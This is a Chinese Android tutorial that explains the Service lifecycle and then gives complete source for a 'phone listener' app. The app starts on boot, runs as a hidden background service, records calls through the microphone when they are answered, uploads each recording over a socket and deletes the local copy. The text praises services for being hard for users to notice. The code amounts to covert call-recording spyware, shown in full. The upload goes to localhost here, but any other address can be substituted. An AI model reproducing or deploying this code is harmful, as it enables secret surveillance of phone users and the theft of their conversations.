Android之Service实例电话监听器

移动开发 Android
Service服务,Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,看本文介绍。

***步:继承Service类

public class SMSService extends Service { } 
  • 1.

第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<service android:name=".SMSService" /> 
  • 1.

服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。

如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

如果打算采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。

服务常用生命周期回调方法如下:

onCreate() 该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService()或bindService()方法,服务也只被创建一次。

onDestroy()该方法在服务被终止时调用。

 与采用Context.startService()方法启动服务有关的生命周期方法

onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。

与采用Context.bindService()方法启动服务有关的生命周期方法

onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。

onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。

你可以使用手机进行现场录音,实现步骤如下:

***步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:

<uses-permission android:name="android.permission.RECORD_AUDIO"/> 
  • 1.

第二步:编写音频刻录代码:

MediaRecorder recorder = new MediaRecorder();

 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音

 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式

 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式

 recorder.setOutputFile("/sdcard/itcast.amr");

 recorder.prepare();//预期准备

 recorder.start();   //开始刻录
 ...
 recorder.stop();//停止刻录

 recorder.reset();   //重设

 recorder.release(); //刻录完成一定要释放资源

#p#

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android="http://schemas.android.com/apk/res/android"       
     package="com.tjp.phonelistiner"        
     android:versionCode="1"        
     android:versionName="1.0">     
   <uses-sdk android:minSdkVersion="7" />     
   <application android:icon="@drawable/icon" android:label="@string/app_name">          
     <service android:name=".PhoneListinerService"/>          
      <receiver android:name=".BootBroadcastReceiver">              
        <intent-filter>                  
          <!-- 开机广播 -->                  
        <action android:name="android.intent.action.BOOT_COMPLETED"/>              
       </intent-filter>         
     </receiver>     
   </application>     
 <!-- 访问网络的权限 -->      
 <uses-permission android:name="android.permission.INTERNET"/>     
 <!-- 电话状态监听权限 -->     
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>      
 <!-- 开机广播权限 -->      
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>      
 <!-- 音频刻录权限 -->      
<uses-permission android:name="android.permission.RECORD_AUDIO"/> 
</manifest> 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.

StreamTool

package com.tjp.util;  
import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.PushbackInputStream;  
public class StreamTool {       
public static void save(File file, byte[] data) throws Exception {   
   FileOutputStream outStream = new FileOutputStream(file);    
     outStream.write(data);    
     outStream.close();   
 }   
  public static String readLine(PushbackInputStream in) throws IOException {   
   char buf[] = new char[128];   
   int room = buf.length;  
   int offset = 0;   
   int c;loop:    
   while (true) {   
     switch (c = in.read()) {    
       case -1:   
       case '\n':    
         break loop;  
      case '\r':   
    int c2 = in.read();  
    if ((c2 != '\n') && (c2 != -1)) in.unread(c2);  
         break loop;                      
 default:                          
    if (--room < 0) {           
    char[] lineBuffer = buf;    
    buf = new char[offset + 128];   
    room = buf.length - offset - 1;  
    System.arraycopy(lineBuffer, 0, buf, 0, offset);                                                     
}  
    buf[offset++] = (char) c;   
    break;  
  }  
}  
   if ((c == -1) && (offset == 0)) return null;  
   return String.copyValueOf(buf, 0, offset);  
}  
/**      
* 读取流   
* @param inStream   
* @return 字节数组  
* @throws Exception   
*/      
public static byte[] readStream(InputStream inStream) throws Exception{  
     ByteArrayOutputStream outSteam = new ByteArrayOutputStream();   
     byte[] buffer = new byte[1024];   
     int len = -1;  
     while( (len=inStream.read(buffer)) != -1){    
     outSteam.write(buffer, 0, len);  
}   
     outSteam.close();   
     inStream.close();  
     return outSteam.toByteArray();  
}  

  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.

#p#

PhoneListinerService

package com.tjp.phonelistiner;  
import java.io.File;  
import java.io.OutputStream;  
import java.io.PushbackInputStream;  
import java.io.RandomAccessFile;  
import java.net.Socket;  
import android.app.Service;  
import android.content.Context;  
import android.content.Intent;  
import android.media.MediaRecorder;  
import android.os.IBinder;  
import android.telephony.PhoneStateListener;  
import android.telephony.TelephonyManager;  
import android.util.Log;  
import com.tjp.util.StreamTool;  
public class PhoneListinerService extends Service {      
   private final String TAG="PhoneListinerService";       
   @Override      
   public IBinder onBind(Intent intent) {                  
    return null;      
 }      
   @Override     
   public void onCreate() {          
       TelephonyManager telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话服务          
       telephonyManager.listen(new TeleListine(), PhoneStateListener.LISTEN_CALL_STATE);//对来电状态进行监听          
       Log.i(TAG, "onCreate");          
       super.onCreate();      
}          
 private class TeleListine extends PhoneStateListener{          
 private String mobile;//来电号码          
 private MediaRecorder recorder;//多媒体刻录文件          
 private File autoFile;//保存文件          
 private boolean recoder;//是否刻录          
  @Override          
  public void onCallStateChanged(int state, String incomingNumber) {              
 try {                  
   switch (state) {                  
     case TelephonyManager.CALL_STATE_IDLE://无任何状态时--挂断电话时                      
     if(recoder){                         
       recorder.stop();//停止刻录                          
       recorder.release();//释放刻录                          
       recoder=false;                          
       new Thread(new UploadTask()).start();                          
       Log.i(TAG, "开始上传");                      
 }                      
break;                  
  case TelephonyManager.CALL_STATE_OFFHOOK://接起电话时                      
  recorder = new MediaRecorder();                      
  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音                     
  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式                     
  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式                                          
  autoFile=new File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//输出到缓存                      
  recorder.setOutputFile(autoFile.getAbsolutePath());//输出的位置                      
  recorder.prepare();//预期准备                      
  recorder.start();   //开始刻录                      
  recoder=true;                      
  Log.i(TAG, "接起电话");                      
break;                  
   case TelephonyManager.CALL_STATE_RINGING://电话进来时                      
mobile=incomingNumber;                     
   Log.i(TAG, "mobile="+mobile);                     
 break;                  
   default:                      
break;                  
}              
} catch (Exception e) {                 
      Log.i(TAG,e.toString());                 
      e.printStackTrace();             
 }             
    super.onCallStateChanged(state, incomingNumber);         
 }                  
private final class UploadTask implements Runnable{             
 @Override              
public void run() {                  
   try {   
        //Socket socket = new Socket("127.0.0.1", 7878);                          
       Socket socket = new Socket("127.0.0.1", 7878);                          
       OutputStream outStream = socket.getOutputStream();                                      
       String head = "Content-Length="+ autoFile.length() + ";filename="+ autoFile + ";  
       sourceid=1278916111468\r\n";                                   
       outStream.write(head.getBytes());                                                  
       PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());                              
       String response = StreamTool.readLine(inStream);                          
       System.out.println(response);                          
       String[] items = response.split(";");                          
       String position = items[1].substring(items[1].indexOf("=")+1);                                                 
       RandomAccessFile fileOutStream = new RandomAccessFile(autoFile, "r");                          
       fileOutStream.seek(Integer.valueOf(position));                          
       byte[] buffer = new byte[1024];                          
       int len = -1;                          
       int i = 0;                         
       while( (len = fileOutStream.read(buffer)) != -1){                              
    outStream.write(buffer, 0, len);                              
     i++;  
      //if(i==10) break;                          
}                          
    fileOutStream.close();                          
    outStream.close();                          
    inStream.close();                         
    socket.close();                          
    autoFile.delete();//当上传完就删除文件                     
 } catch (Exception e) {                            
        Log.i(TAG, "mobile="+mobile);                         
        e.printStackTrace();                      
      }              
   }                     
 }      
}     
 @Override     
public void onDestroy() {//清空缓存目录下的所有文件          
   File[] filesgetCacheDir().listFiles();//得到缓存下所有文件          
     if(files!=null){              
       for(File file : files){                  
        file.delete();             
      }         
    }         
   Log.i(TAG, "onDestroy");         
   super.onDestroy();     
  }         

  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110.
  • 111.
  • 112.
  • 113.
  • 114.
  • 115.
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.

BootBroadcastReceiver

package com.tjp.phonelistiner;    
import android.content.BroadcastReceiver;    
import android.content.Context;    
import android.content.Intent;    
public class BootBroadcastReceiver extends BroadcastReceiver {       
 @Override        
public void onReceive(Context context, Intent intent) {            
Intent service=new Intent(context,PhoneListinerService.class);//显示意图    
context.startService(service);       
 }  
}    
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.

【编辑推荐】

Android要深入研究Service

浅述远程Service Broker的实现

Android开发之旅:Android架构

Android应用程序开发环境的搭建

责任编辑:zhaolei 来源: 互联网
相关推荐

2011-03-21 16:21:49

Oracle监听口令监听器

2009-07-08 17:39:23

Servlet监听器

2009-09-27 17:46:22

Hibernate监听

2011-05-16 10:14:11

Hibernate

2009-11-09 10:03:09

WCF通道监听器

2010-02-22 15:06:31

WCF信道监听器

2023-01-06 08:55:00

2009-07-06 13:48:53

Servlet监听器

2010-01-13 09:49:09

注释监听器Listener

2010-04-23 18:00:31

2009-01-03 13:37:26

Oracle监听器Oracle服务器Oracle网络配置

2009-11-18 18:28:27

Oracle监听器

2012-02-03 13:27:16

2010-04-19 15:38:10

2010-08-09 11:06:01

Flex事件机制

2010-04-23 10:13:18

Oracle监听

2020-04-20 11:09:49

过滤器监听器 Web

2014-07-14 13:03:26

2020-12-15 10:46:29

事件监听器Spring Boot

2009-07-17 09:55:02

事件监听器SWT和SwingAWT
点赞
收藏

51CTO技术栈公众号